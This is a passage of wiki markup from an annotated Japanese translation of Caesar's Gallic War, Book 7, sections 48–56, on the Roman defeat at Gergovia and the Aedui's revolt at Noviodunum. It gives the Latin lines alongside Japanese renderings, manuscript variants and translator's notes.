**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#45節|45節]]⑥項で述べられている。）&lt;/span&gt;
*primo exaudito clamore, 
**初めに叫び声を聞き取り、
*inde etiam crebris nuntiis incitati oppidum ab Romanis teneri, 
**さらに、城塞都市がローマ人たちによって占領されたという頻繁な知らせにさえも駆り立てられて、
*praemissis equitibus magno concursu&lt;ref&gt;concursu はα系写本の記述で、β系写本では cursu となっている。&lt;/ref&gt; eo contenderunt. 
**[[w:騎兵|騎兵]]たちを先遣して、（歩兵たちも）駆けに駆けて、そこ（＝城塞都市）へ急いだ。

[[画像:Auvergne_Gaul_coin_CdM.jpg|thumb|right|300px|[[w:アルウェルニ族|アルウェルニー族]]の兵士が刻まれた貨幣（[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部所蔵）]]
*②　Eorum ut quisque primus venerat, 
**彼らの（城塞都市に）到着した者から順々に
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quisque primus「最初の者ごとに；順々に」）&lt;/span&gt;
*sub muro consistebat suorumque pugnantium numerum augebat. 
**城壁の下に陣取って、味方の戦う者たちの数を増した。
*③　Quorum cum magna multitudo convenisset, 
**その者たちの大群集が集結したときに、
*matres familiae quae paulo ante Romanis de muro manus tendebant, 
**少し前にはローマ人たちに城壁から手を差し出していた家庭の母親たちが
*suos obtestari 
**味方に哀願して、
*et more Gallico passum capillum ostentare liberosque in conspectum proferre coeperunt. 
**ガッリアの風習により、髪を広げて示し、子供たちを（男たちの）眼前に運び始めた。
*④　Erat Romanis nec loco nec numero aequa contentio; 
**ローマ人たちにとっては、地の利でも（兵の）数でも、対等な闘いはなかった。
*simul et cursu et spatio pugnae defatigati 
**と同時に、戦いの疾走や時間（の長さ）に疲弊させられていて、
*non facile recentes atque integros sustinebant.
**（ガッリア勢の）新来かつ無傷の者たちに、容易に持ちこたえられなかった。

===49節===
'''カエサルが劣勢の自軍に副官セクスティウスを増援する'''
*①　Caesar cum iniquo loco pugnari hostiumque augeri copias videret, 
**カエサルは（戦闘が自軍に）不利な場所で戦われていること、かつ敵方の軍勢が増やされていることを見たので、
*praemetuens suis 
**配下の者たちを気遣って、
*ad T.(Titum) Sextium legatum, quem minoribus castris praesidio reliquerat, misit, 
**小さい方の陣営に守備として残しておいた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスのところへ（伝令を）遣わして、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セクスティウスについては、すでに副官として[[ガリア戦記 第6巻#1節|第6巻1節]]で言及されている。）&lt;/span&gt;
*ut cohortes ex castris celeriter educeret 
**陣営から（いくつかの）&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を速やかに進発させるように、
*et sub infimo colle ab dextro latere hostium constitueret, 
**かつ丘陵のふもとの下方で、敵方の右の側面に布陣するように、と。
*②　ut, si nostros loco depulsos vidisset, quominus libere hostes insequerentur terreret. 
**もし我が方が（戦闘の）場所から追いやられたのを見たら、敵方が自由に追撃することにならぬよう脅かすためである。
*③　Ipse paulum ex eo loco cum legione progressus, ubi constiterat, 
**（カエサル）自身は、停止していた場所から、軍団とともに少し前進して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#47節|47節]]①項で既述のように、カエサルとともに停止していたのは[[w:第10軍団エクェストリス|第10軍団]]である。）&lt;/span&gt;
*eventum pugnae exspectabat.
**戦いの決着を待っていた。

===50節===
'''激戦の末、敗勢に陥るローマ軍'''
*①　Cum acerrime comminus pugnaretur, hostes loco et numero, nostri virtute confiderent, 
**（両軍により）激烈に格闘して戦われていて、敵方は地の利と（兵の）数を、我が方（ローマ軍）が武勇を頼りとしていたときに、
*subito sunt Haedui visi ab latere nostris aperto, 
**突如として、我が方にとって開けた側面（＝右側）から、[[w:ハエドゥイ族|ハエドゥイー族]]の者たち（の姿）が見られた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「開けた側面から」ab latere aperto とは、兵士の[[w:スクトゥム|長盾]]で覆われていない右側を指す。）&lt;/span&gt;
*quos Caesar ab dextra parte alio ascensu manus distinendae causa miserat. 
**カエサルがその者たちを右の方面から別の登り道により（敵の）部隊を分散しておくために派遣していたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この事は、[[#45節|45節]]⑩項で述べられている。）&lt;/span&gt;
*②　Hi similitudine armorum vehementer nostros perterruerunt, 
**彼らの武具が（ガッリア勢のものと）似ていることが、我が方（の兵士たち）を極度に怖れさせた。
*ac tametsi dextris humeris&lt;ref&gt;humeris が写本(ω)の記述であるが、umeris とするのも一般的となっている。&lt;/ref&gt; exsertis animadvertebantur, quod insigne pactum&lt;ref&gt;pactum はHellerによる修正提案で、写本(ω)では pacatum となっており、研究者たちにより他の修正も提案されている。&lt;/ref&gt; esse consuerat, 
**（ハエドゥイー勢は）右の肩を脱いでいるのが視認され、その印は（味方として）定められているのが常であったが、
*tamen id ipsum sui fallendi causa milites ab hostibus factum existimabant. 
**けれども（ローマ人の）兵士たちは、それ自体が自分たちを欺くために、敵方によりなされたと考えたのだ。

[[画像:Dorf_La_Roche_Blanche.JPG|thumb|right|300px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）の遠景（南方のル・クレスト [[w:fr:Le_Crest|Le Crest]] から撮影）。画像中央がローマ軍が小さい方の陣営を設置していたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La_Roche-Blanche_(Puy-de-Dôme)|La Roche Blanche]]）の丘陵で、山頂からこの丘陵の辺りが激戦地だったと思われる。現在は山麓にかけて住宅地が広がっている。]]

*③　Eodem tempore L.(Lucius) Fabius centurio quique una murum ascenderant, 
**同じ時に、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・ファビウスおよび一緒に城壁を登っていた者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスらについては、[[#47節|47節]]⑦項で述べられている。）&lt;/span&gt;
*circumventi atque interfecti de&lt;ref&gt;de はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; muro praecipitabantur. 
**（ガッリア勢に）取り囲まれ、殺害されて、城壁から突き落とされた。
*④　M.(Marcus) Petronius, eiusdem legionis centurio, 
**同じ[[w:ローマ軍団|軍団]]の百人隊長マルクス・ペトロニウスは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスと同じ軍団とは、[[#47節|47節]]⑦項で述べられているように[[w:第8軍団アウグスタ|第8軍団]]である。）&lt;/span&gt;
*cum portas&lt;ref&gt;portas は写本(ω)の記述だが、portam と単数形にする修正も提案されている。&lt;/ref&gt; excidere conatus esset, 
**城門を突き破って出ることを試みていたときに、
*a multitudine oppressus ac sibi desperans multis iam vulneribus acceptis, 
**（敵の）大勢によって圧倒されて、すでに多くの傷を受けて自分に絶望しており、
*manipularibus suis, qui illum secuti erant&lt;ref&gt;secuti erant はα系写本の記述で、β系写本では erant secuti となっている。&lt;/ref&gt;, 
**彼に付き従っていた同じ隊の配下の者たちに、
*&quot;quoniam&quot; inquit &quot;me una vobiscum servare non possum, 
**曰く「私と諸君を一緒に救うことはできないのだから、
*vestrae quidem certe vitae prospiciam, quos cupiditate gloriae adductus in periculum deduxi. 
**せめて、栄誉の欲に引き寄せられて危険に引きずり込んでしまった諸君の生命にはきっと見通しを与えるであろう。
*⑤　Vos data facultate vobis consulite.&quot; 
**諸君は（生き延びる）可能性が与えられているから、諸君（自身）を助けたまえ。」
*Simul in medios hostes inrupit duobusque interfectis reliquos a porta paulum submovit. 
**と同時に、敵方の真ん中に押し入って、2名を殺害して、ほかの者たちを城門からいくらか退けた。
*⑥　Conantibus auxiliari suis 
**（ペトロニウスは自分の）支援を試みる配下の者たちに、
*&quot;frustra&quot; inquit &quot;meae vitae subvenire conamini, quem iam sanguis viresque deficiunt. 
**曰く「もはや血も活力も尽き果てた私の生命を助けることを試みているのは無益だ。
*Proinde abite, dum est facultas, vosque ad legionem recipite.&quot; 
**ゆえに（生き延びる）可能性がある間に立ち去れ。諸君は軍団のところへ退却せよ。」
*Ita pugnans post paulum&lt;ref&gt;paulum はα系･ρ系写本の記述で、π系写本では paululum となっており、paulo という修正提案もされている。&lt;/ref&gt; concidit ac suis saluti fuit.
**こうして（ペトロニウスは）戦って少し後で斃れ、配下の者たちにとっては救いとなった。

===51節===
[[画像:Monument_gergovie_fr.jpg|thumb|right|290px|[[w:ゲルゴウィアの戦い|ゲルゴウィア戦勝]]記念碑。[[w:1903年|1903年]]に[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]出身の建築家ジャン・テラール（[[w:fr:Jean Teillard|Jean Teillard]]）が、侵略者カエサルを撃退した郷土の英雄[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に捧げるためにジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）に建立したものである。]]
[[画像:Plaque_Napoléon_III_Gergovie.jpg|thumb|right|300px|[[w:ゲルゴウィアの戦い|ゲルゴウィア]]の地に残る銘板。フランス語で「[[w:ナポレオン3世|ナポレオン3世]]は、1862年のゲルゴウィアの[[w:オッピドゥム|城塞都市]]（跡）訪問の結果、メルドーニュ（Merdogne）の住民たちの要求に対して、1865年1月11日の政令によって、彼らの村にジェルゴヴィ（[[w:fr:Gergovie|Gergovie]]）の名を与えることを決定した。」&lt;!-- «A la suite de sa visite sur l'oppidum de Gergovia en 1862, Napoléon III, à la demande des habitants de Merdogne, décida d'attribuer à leur village le nom de Gergovie, par décret du 11 janvier 1865.»--&gt;]]
'''カエサルが一敗地に塗れる'''
*①　Nostri cum undique premerentur, 
**我が方（ローマ軍）は、至る所で圧倒されたので、
*XLVI(sex et quadraginta)&lt;ref&gt;XLVI はα系写本の記述で、β系写本では sex et XL となっている（どちらも46）。&lt;/ref&gt; centurionibus amissis deiecti sunt loco. 
**46名の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を失い、（激戦の）場所から追いやられた。
*Sed intolerantius Gallos insequentes 
**けれども、容赦なく追撃して来るガッリア人たちを
*legio decima tardavit, quae pro subsidio paulo aequiore loco constiterat. 
**予備部隊（もしくは要撃部隊）として、いくらか平らな所に陣取っていた[[w:第10軍団エクェストリス|第10軍団]]が妨げた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#47節|47節]]①項で既述のように、第10軍団はカエサルとともに待機していた。）&lt;/span&gt;
*②　Hanc rursus XIII(tertiae decimae) legionis cohortes exceperunt, 
**これ（＝第10軍団）をさらに、第13軍団の諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が支えた。
*quae ex castris minoribus eductae cum T.(Tito) Sextio legato ceperant locum&lt;ref&gt;ceperant locum はα系写本の記述で、β系写本では locum ceperant となっている。&lt;/ref&gt; superiorem. 
**それらは&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスとともに小さい方の陣営から進発してより高い所を占めていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#49節|49節]]を参照。）&lt;/span&gt;
*③　Legiones ubi primum planitiem attigerunt, 
**諸[[w:ローマ軍団|軍団]]は、平野に達するや否や、
*infestis contra hostes signis constiterunt. 
**敵方に抗して戦備を整えて陣取った。
*④　[[w:la:Vercingetorix|Vercingetorix]] ab radicibus collis suos intra munitiones reduxit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、配下の者たちを丘陵の麓から（ゲルゴウィアの）防備の内側に連れ戻した。
*Eo die milites sunt paulo minus [[wikt:la:Septingenti|septingenti]] desiderati.
**その日、（ローマ軍は）700名よりいくらか少ない兵士を失った。
&lt;br&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルとウェルキンゲトリークスは、たびたび交えた騎兵戦ではカエサルが勝っているが、&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;両軍の主力部隊である歩兵どうしが激突したこの戦闘は、地の利もあって、ウェルキンゲトリークスが完勝した。&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;カエサルは第8軍団など古参の部隊を投入しながら、歴戦の百人隊長と兵士たちを多く失った。）&lt;/span&gt;

===52節===
'''敗軍の将カエサルが兵士たちを責める'''
*①　Postero die Caesar contione advocata 
**翌日にカエサルは（兵士たちの）集会を召集して、
*temeritatem cupiditatemque militum&lt;ref&gt;cupiditatemque militum はα系写本の記述で、β系写本では militum cupiditatemque となっている。&lt;/ref&gt; reprehendit, 
**兵士たちの無思慮や功名心をとがめた。
*quod sibi ipsi iudicavissent, quo procedendum aut quid agendum videretur, 
**というのは、どこへ進み出るべきか、あるいは何がなされるべきと思われるのか、自分たちに対し自分たちで判断してしまったからだ。
*neque signo recipiendi dato constitissent 
**退却することの合図を与えられても留まりもせず、
*neque ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque retineri potuissent. 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]たち&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により制止されることもできなかったからだ。
*②　Exposuit quid iniquitas loci posset, quod&lt;ref&gt;quod は写本(ω)では quid となっているが、近世以降の校訂者たちは quod と修正提案している。&lt;/ref&gt; ipse ad [[w:la:Avaricum Biturigum|Avaricum]] sensisset, 
**地の利のなさがどれほど影響するのか、（カエサル）自身がアウァーリクムで判断したことを説明した。
*cum sine duce et sine equitatu deprehensis hostibus 
**将帥もなく騎兵隊もない敵たちを探し当てたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#18節|18節]]～[[#19節|19節]]を参照。そのときガッリア勢は、ウェルキンゲトリークスが騎兵隊を連れて出て不在であった。）&lt;/span&gt;
*exploratam victoriam dimisisset, 
**確実であった勝利を諦めたのだ。
*ne parvum modo detrimentum in contentione propter iniquitatem loci accideret. 
**地の利のなさのために、闘いにおいてほんのわずかな損害も生じないように（勝利を諦めたのだ）。
*③　Quanto opere&lt;ref&gt;Quanto opere はα系写本の記述で、β系写本では Quantopere となっている。&lt;/ref&gt; eorum animi magnitudinem admiraretur, 
**彼ら（兵士たち）の大胆さに（カエサルが）驚嘆すればするほど、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quanto opere ～ tanto opere …／quantopere ～ tantopere …「～すればするほど、ますます…」）&lt;/span&gt;
*quos non castrorum munitiones, non altitudo montis, non murus oppidi tardare potuisset, 
**彼らのことを（ガッリア勢の）陣営の防備も、山の高さも、[[w:オッピドゥム|城塞都市]]の城壁も妨げることができなかったのではあるが、
*tanto opere&lt;ref&gt;tanto opere はα系･T･ρ系写本の記述で、V写本では tantopere となっている。&lt;/ref&gt; licentiam arrogantiamque reprehendere, 
**それだけにますます（兵士たちの）勝手気ままさや高慢さを（カエサルは）非難する（と言った）。
*quod plus se quam imperatorem de victoria atque exitu rerum sentire existimarent; 
**というのは、自分たちが将軍（カエサル）よりも勝利と事の結末についてよく判断していると考えていたからだ。
*④　nec&lt;ref&gt;nec はα系写本の記述で、β系写本では non となっている。&lt;/ref&gt; minus se ab&lt;ref&gt;ab はα系写本の記述で、β系写本では in となっている。&lt;/ref&gt; milite modestiam et continentiam quam virtutem atque animi magnitudinem desiderare.
**自分（カエサル）は兵士たちに、武勇や大胆さよりも、慎重さや自制心を望んでいるのだ。

*:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは兵士たちを上のように責めたが、兵士たちを統制できなかった責任は最高司令官にある。）&lt;/span&gt;

===53節===
'''カエサルとローマ軍がゲルゴウィアから撤退'''
*①　Hac habita contione et ad extremam orationem confirmatis militibus, 
**（カエサルは）このような熱弁を振るって、演説の最後に、兵士たちを元気付けた。
*ne ob hanc causam animo permoverentur 
**このような理由のために心をかき乱されないように、
*neu, quod iniquitas loci attulisset, id virtuti hostium tribuerent, 
**かつ、地の利のなさが引き起こしたことを、敵方の武勇に転嫁しないように、と。
*eadem de profectione cogitans, quae ante senserat, 
**（ゲルゴウィアからの）出発については、以前から判断していたのと同じことを考えていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#43節|43節]]⑤項を参照。ゲルゴウィアからの撤退が敗走同然に見られないようにと、考えていたのであろう。）&lt;/span&gt;
*legiones ex castris eduxit aciemque idoneo loco constituit. 
**諸[[w:ローマ軍団|軍団]]を陣営から進発させて、適切な場所に戦列を整えた。
*②　Cum [[w:la:Vercingetorix|Vercingetorix]] nihilo minus &amp;lt; intra munitiones remaneret neque &amp;gt; in aequum locum descenderet, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が、防備の内側に留まったばかりか、平らな場所に降りてこなかったので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&amp;lt; intra munitiones remaneret neque &amp;gt; は、写本になく、近代に挿入提案された修正案の一つ。）&lt;/span&gt;
*levi facto equestri proelio, atque secundo, in castra exercitum reduxit. 
**軽微な騎兵戦を行なって、順調のうちに軍隊を陣営に連れ戻した。
*③　Cum hoc idem postero die fecisset, 
**翌日もこれと同じことを行なって、
*satis ad Gallicam ostentationem minuendam militumque animos confirmandos factum existimans 
**ガッリア人の誇示を弱めること、および（ローマ人）兵士の心を強固にすることが十分になされたと考えたので、
*in [[w:la:Haedui|Haeduos]] movit castra. 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところに陣営を移（すために出発）した。
*④　Ne tum quidem insecutis hostibus 
**そのとき、敵方は決して追撃して来なかったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
*tertio die ad flumen [[w:la:Elaver|Elaver]] pontes&lt;ref&gt;pontes はα系写本の記述で、β系写本では pontem となっている。&lt;/ref&gt; reficit&lt;ref&gt;reficit はχ系･B･M･L･N写本の記述で、S写本では refecit となっている。&lt;/ref&gt; eoque exercitum&lt;ref&gt;eoque exercitum はα系写本の記述で、β系写本では exercitumque となっている。&lt;/ref&gt; traducit&lt;ref&gt;traducit はα系写本の記述で、β系写本では traduxit となっている。&lt;/ref&gt;.
**3日目にはエラウェル川（＝現在の[[w:アリエ川|アリエ川]]）のところで橋を再建して、そこで軍隊を渡らせた。

===54節===
'''ハエドゥイー族のエポレドリクスとウィリドマルスらがカエサルのもとから立ち去る'''
*①　Ibi a Viridomaro atque [[w:la:Eporedorix|Eporedorige]] [[w:la:Haedui|Haeduis]] appellatus discit 
**そこで（カエサルが）[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:ウィリドマルス|ウィリドマルス]]と[[w:エポレドリクス|エポレドリクス]]から話しかけられて知ったことには、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#39節|39節]]～[[#40節|40節]]を参照。ウィリドマルスとエポレドリクスはカエサルの軍勢に従軍していたと思われる。）&lt;/span&gt;
*cum omni equitatu Litaviccum ad sollicitandos Haeduos profectum; 
**[[w:リタウィックス|リタウィックス]]がすべての騎兵隊とともに、ハエドゥイー族の者たちをそそのかすために出発したという。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#40節|40節]]を参照。リタウィックスは謀計が破れたので、ゲルゴウィアに逃れていた。）&lt;/span&gt;
*opus esse ipsos antecedere ad confirmandam civitatem. 
**部族の支持を固めるために、（彼ら）自身が（リタウィックスより）先行することが必須であるというのだ。
*②　Etsi multis iam rebus perfidiam Haeduorum&lt;ref&gt;perfidiam Haeduorum はα系写本の記述で、β系写本では Haeduorum perfidiam となっている。&lt;/ref&gt; Caesar&lt;ref&gt;Caesar はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; perspectam habebat 
**カエサルは、すでに多くの事により、ハエドゥイー族の背信行為を目にして来ており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Etsi ～, tamen …「～としても、しかしながら…」）&lt;/span&gt;
*atque horum discessu admaturari defectionem civitatis existimabat, 
**この者たちが（カエサルのもとから）立ち去ることで、（ハエドゥイー）部族の背反が一層促進されると考えていたのだが、
*tamen eos retinendos non censuit&lt;ref&gt;censuit はπ系写本の記述で、α系･ρ系写本では constituit となっている。&lt;/ref&gt;, 
**しかしながら、彼ら（2人）を束縛するべきではないと考慮した。
*ne aut inferre iniuriam videretur aut dare&lt;ref&gt;dare はα系写本の記述で、β系写本では daret となっている。&lt;/ref&gt; timoris aliquam&lt;ref&gt;timoris aliquam はα系写本の記述で、β系写本では aliquam timoris となっている。&lt;/ref&gt; suspicionem. 
**（カエサルが）無法行為を起こすと思われないように、あるいは（彼らを）怖れているという何らかの疑念を与えないように。
*③　Discedentibus his breviter sua in Haeduos merita exposuit, 
**（カエサルは）立ち去る彼らに、ハエドゥイー族における自分の功績を手短に説明した。
*quos et quam humiles accepisset, compulsos in oppida, multatos agris, 
**彼らが、どれほど無力であったのを引き受けたことか、[[w:オッピドゥム|城塞都市]]に押し込められ、耕地を台無しにされて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある。」）&lt;/span&gt;
*omnibus ereptis sociis&lt;ref&gt;sociis「同盟者たち」 はβ系写本の記述で、α系写本では copiis「軍勢」となっている。&lt;/ref&gt;, imposito stipendio, obsidibus summa cum contumelia extortis, 
**すべての同盟者たちを奪い取られ、貢物を課せられて、たいへんな侮辱とともに人質をもぎ取られていたことか。
*④　et quam in fortunam quamque in amplitudinem deduxisset, 
**かつ、どれほどの境遇に、どれほどの高位に（カエサルが）引き上げもしたことか。
*ut non solum in pristinum statum redissent, 
**その結果（ハエドゥイー族は）かつての地位に戻っただけでなく、
*sed omnium temporum dignitatem et gratiam antecessisse viderentur. 
**（以前の）あらゆる時期の品格や信望をも越えていると思われる。
*His datis mandatis eos ab se dimisit.
**このような訓示を与えて、彼ら（2人）を自分のもとから送り出した。

===55節===
'''エポレドリクスとウィリドマルスらがローマの拠点ノウィオドゥーヌムで寝返る'''
[[画像:Nevers_-_Vue_depuis_la_rive_sud_de_la_Loire.jpg|thumb|center|700px|ノウィオドゥーヌム（[[w:la:Nivernum|Noviodunum]]）＝現･[[w:ヌヴェール|ヌヴェール]]（[[w:fr:Nevers|Nevers]]）における、リゲル川（[[w:la:Liger|Liger]]）＝現･[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）の岸辺の景観]]

*①　[[w:la:Nivernum|Noviodunum]] erat oppidum [[w:la:Haedui|Haeduorum]] ad ripas [[w:la:Liger|Ligeris]] opportuno loco positum. 
**ノウィオドゥーヌムは、[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:オッピドゥム|城塞都市]]で、リゲル川（現[[w:ロワール川|ロワール川]]）岸の好都合な所に位置していた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：『ガリア戦記』には同名の都市が計3か所載っているが、こちらは現在の[[w:ヌヴェール|ヌヴェール]] Nevers である。&lt;br&gt;　　　　「[[ガリア戦記/ガリア語の名前#Nouio-dūnon|ガリア語の名前 #Nouio-dūnon]]」を参照せよ。）&lt;/span&gt;
*②　Huc Caesar omnes obsides Galliae, frumentum, pecuniam publicam, 
**ここに、カエサルは、ガッリアのすべての人質たちや、糧食、公金、
*suorum atque exercitus impedimentorum magnam partem contulerat; 
**および自分と軍隊の[[w:輜重|輜重]]の大部分を運び集めていた。
*③　huc magnum numerum equorum huius belli causa in [[w:la:Italia|Italia]] atque [[w:la:Hispania|Hispania]] coemptum miserat. 
**ここに、この戦争のためにイタリアと[[w:ヒスパニア|ヒスパニア]]から買い集めた馬匹の多数を送っておいた。
*④　Eo cum [[w:la:Eporedorix|Eporedorix]] Viridomarusque venissent et de statu civitatis cognovissent, 
**そこに、[[w:エポレドリクス|エポレドリクス]]と[[w:ウィリドマルス|ウィリドマルス]]がやって来て、（以下のような）部族の情勢について察知したときに、

[[画像:Bibracte333_crop.JPG|thumb|right|400px|[[w:ビブラクテ|ビブラクテ]]の[[w:オッピドゥム|城塞都市]]跡に整備された城壁の遺構]]

*Litaviccum [[w:la:Bibracte|Bibracti]] ab Haeduis receptum, 
**（すなわち）リタウィックスが、ハエドゥイー族の者たちによって[[w:ビブラクテ|ビブラクテ]]に迎え入れられ、
*─ quod est oppidum apud eos maximae auctoritatis ─, 
**それ（ビブラクテ）は彼ら（ハエドゥイー族）のもとで最大の影響力を持つ城塞都市であるが、
*Convictolitavem&lt;ref&gt;Convictolitavem はβ系･N写本の記述で、χ系･B･M･S･L写本では Convictolitabim となっている。&lt;/ref&gt; magistratum magnamque partem senatus ad eum convenisse, 
**統領コンウィクトリタウィスと評議会の大半の者たちが彼（リタウィックス）のもとへ参集し、
*legatos ad [[w:la:Vercingetorix|Vercingetorigem]] de pace et&lt;ref&gt;et は α系･U写本の記述で、π系･R写本では et de となっている。&lt;/ref&gt; amicitia concilianda publice missos, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]のところへ和平と友好を仲介するべく公けに使節たちが遣わされた（ことを知った）ので、
*non praetermittendum instans&lt;ref&gt;instans はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; tantum commodum existimaverunt. 
**（エポレドリクスとウィリドマルスは）眼前にあるこれほどの好機を放置するべきではないと考えたのだ。
*⑤　Itaque interfectis Novioduni custodibus quique eo negotiandi aut itineris&lt;ref&gt;aut itineris はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; causa convenerant, 
**こうして（2人は）ノウィオドゥーヌムの（ローマ側の）番兵たちや商用や旅行のために来訪していた者たちを殺害し、
*pecuniam atque equos inter se partiti sunt; 
**金銭および馬匹を互いに分け合った。
*⑥　obsides civitatum Bibracte ad magistratum deducendos curaverunt; 
**（ガッリアの）部族の人質たちをビブラクテの統領のところへ連れて行くように手配した。
*⑦　oppidum, quod a&lt;ref&gt;a はα系写本の記述で、β系写本では ab となっている。&lt;/ref&gt; se teneri non posse iudicabant, 
**（ノウィオドゥーヌムの）城塞都市は、自分たちによって固守することはできないと判断したので、
*ne cui esset usui Romanis, incenderunt; 
**ローマ人たちの有益になることがないように、焼き打ちした。
*⑧　frumenti quod subito potuerunt navibus avexerunt, 
**糧食のうち、急いで（運ぶことが）できるものを船団で運び去って、
*reliquum flumine atque incendio corruperunt. 
**残りのものを川（に流すこと）により、および焼き打ちにより、役立たないようにした。
*⑨　Ipsi ex finitimis regionibus copias cogere, 
**（彼ら）自身は、近隣の地方から軍勢を徴集して、
*praesidia custodiasque ad ripas Ligeris disponere 
**リゲルの川岸のたもとへ守備隊や番兵を分配して、
*equitatumque omnibus locis iniciendi timoris causa ostentare coeperunt, 
**（ローマ人に）恐怖（の感情）を起こさせるために、[[w:騎兵|騎兵隊]]に誇示をさせ始めた。
*si ab re frumentaria Romanos excludere 
**もし、ローマ人たちが糧食調達することを阻止するなら、
*† aut adductos inopia in provincia&lt;ref&gt;in provincia は、α系写本では ex provincia「属州から」、β系写本では provincia となっているが、コンスタン Constans やクロッツ A.Klotz らにより in provincia「属州に」と修正提案されている。&lt;/ref&gt; expellere&lt;ref&gt;expellere「駆逐する」 はα系写本の記述で、β系写本では excludere「阻止する、妨げる」 となっている。&lt;/ref&gt; † possent. 
**あるいは（糧食などの）欠乏により、属州に駆逐することができるなら、と。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：† ～ † は、写本の文章が崩れて校訂者を迷わせていることを表す記号。修正提案されている。）&lt;/span&gt;
*⑩　Quam ad spem multum eos adiuvabat, 
**そのような希望へ、彼らを大いに励まし助けたのは、
*quod Liger ex nivibus creverat, 
**リゲル川（の水位）が雪水により増したことで、
*ut omnino vado non posse transiri videretur.
**すべての浅瀬が渡らせられることができないと思われたのである。

===56節===
'''カエサルが属州へは戻らず、増水したリゲル川の渡河を敢行'''
*①　Quibus rebus cognitis Caesar maturandum sibi censuit, 
**それらの事態を知ると、カエサルは自らにとって（以下のことを）急ぐべきだと考慮した。
*si esset in perficiendis pontibus periclitandum, 
**もし、橋を造り上げる最中に（敵勢と闘うという）危険を冒すのであれば、
